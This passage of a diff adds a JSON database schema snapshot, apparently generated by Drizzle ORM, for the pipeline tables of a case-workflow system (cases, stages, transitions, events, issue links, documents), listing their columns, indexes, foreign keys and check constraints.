+        },
+        "pipeline_case_events_actor_agent_id_agents_id_fk": {
+          "name": "pipeline_case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_events_type_check": {
+          "name": "pipeline_case_events_type_check",
+          "value": "\"pipeline_case_events\".\"type\" in (\n        'ingested',\n        'updated',\n        'claimed',\n        'lease_released',\n        'lease_expired',\n        'transitioned',\n        'transition_forced',\n        'transition_suggested',\n        'suggestion_resolved',\n        'review_decided',\n        'conversation_opened',\n        'issue_linked',\n        'issue_unlinked',\n        'automation_executed',\n        'automation_failed',\n        'automation_retry_requested',\n        'automation_effects_retired',\n        'automation_retry_dispatched',\n        'blockers_set',\n        'blockers_resolved',\n        'children_terminal',\n        'upstream_drift',\n        'drift_acknowledged'\n      )"
+        },
+        "pipeline_case_events_actor_type_check": {
+          "name": "pipeline_case_events_actor_type_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        },
+        "pipeline_case_events_agent_run_check": {
+          "name": "pipeline_case_events_agent_run_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_issue_links": {
+      "name": "pipeline_case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_issue_links_case_issue_uq": {
+          "name": "pipeline_case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_issue_idx": {
+          "name": "pipeline_case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_company_case_idx": {
+          "name": "pipeline_case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_automation_attempt_idx": {
+          "name": "pipeline_case_issue_links_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_issue_links_company_id_companies_id_fk": {
+          "name": "pipeline_case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_issue_id_issues_id_fk": {
+          "name": "pipeline_case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_issue_links_role_check": {
+          "name": "pipeline_case_issue_links_role_check",
+          "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_cases": {
+      "name": "pipeline_cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_key": {
+          "name": "case_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "workspace_ref": {
+          "name": "workspace_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_version": {
+          "name": "parent_case_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_key": {
+          "name": "request_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "pending_suggestion": {
+          "name": "pending_suggestion",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_owner_type": {
+          "name": "lease_owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_agent_id": {
+          "name": "lease_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_user_id": {
+          "name": "lease_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_token": {
+          "name": "lease_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_expires_at": {
+          "name": "lease_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_kind": {
+          "name": "terminal_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_at": {
+          "name": "terminal_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_from_board_at": {
+          "name": "hidden_from_board_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "child_count": {
+          "name": "child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "terminal_child_count": {
+          "name": "terminal_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_cases_pipeline_case_key_uq": {
+          "name": "pipeline_cases_pipeline_case_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_request_key_uq": {
+          "name": "pipeline_cases_parent_request_key_uq",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_company_idx": {
+          "name": "pipeline_cases_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_pipeline_stage_idx": {
+          "name": "pipeline_cases_pipeline_stage_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_idx": {
+          "name": "pipeline_cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_automation_attempt_idx": {
+          "name": "pipeline_cases_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_retired_idx": {
+          "name": "pipeline_cases_retired_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "retired_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_lease_expires_idx": {
+          "name": "pipeline_cases_lease_expires_idx",
+          "columns": [
+            {
+              "expression": "lease_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"pipeline_cases\".\"lease_expires_at\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_cases_company_id_companies_id_fk": {
+          "name": "pipeline_cases_company_id_companies_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_cases_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_cases_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_parent_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_lease_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_lease_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lease_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_created_by_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_cases_terminal_kind_check": {
+          "name": "pipeline_cases_terminal_kind_check",
+          "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')"
+        },
+        "pipeline_cases_lease_owner_type_check": {
+          "name": "pipeline_cases_lease_owner_type_check",
+          "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_documents": {
+      "name": "pipeline_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_documents_company_pipeline_key_uq": {
+          "name": "pipeline_documents_company_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_document_uq": {
+          "name": "pipeline_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_company_pipeline_updated_idx": {
+          "name": "pipeline_documents_company_pipeline_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_documents_company_id_companies_id_fk": {
+          "name": "pipeline_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_documents_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_document_id_documents_id_fk": {
+          "name": "pipeline_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_stages": {
+      "name": "pipeline_stages",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_stages_pipeline_key_uq": {
+          "name": "pipeline_stages_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_stages_pipeline_position_idx": {
+          "name": "pipeline_stages_pipeline_position_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_stages_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_stages_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_stages",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_stages_kind_check": {
+          "name": "pipeline_stages_kind_check",
+          "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_transitions": {
+      "name": "pipeline_transitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_transitions_pipeline_edge_uq": {
+          "name": "pipeline_transitions_pipeline_edge_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_from_idx": {
+          "name": "pipeline_transitions_pipeline_from_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_to_idx": {
+          "name": "pipeline_transitions_pipeline_to_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_transitions_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_transitions_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipelines": {
+      "name": "pipelines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enforce_transitions": {
+          "name": "enforce_transitions",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipelines_company_key_uq": {
+          "name": "pipelines_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_idx": {
+          "name": "pipelines_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_project_idx": {
+          "name": "pipelines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipelines_company_id_companies_id_fk": {
+          "name": "pipelines_company_id_companies_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
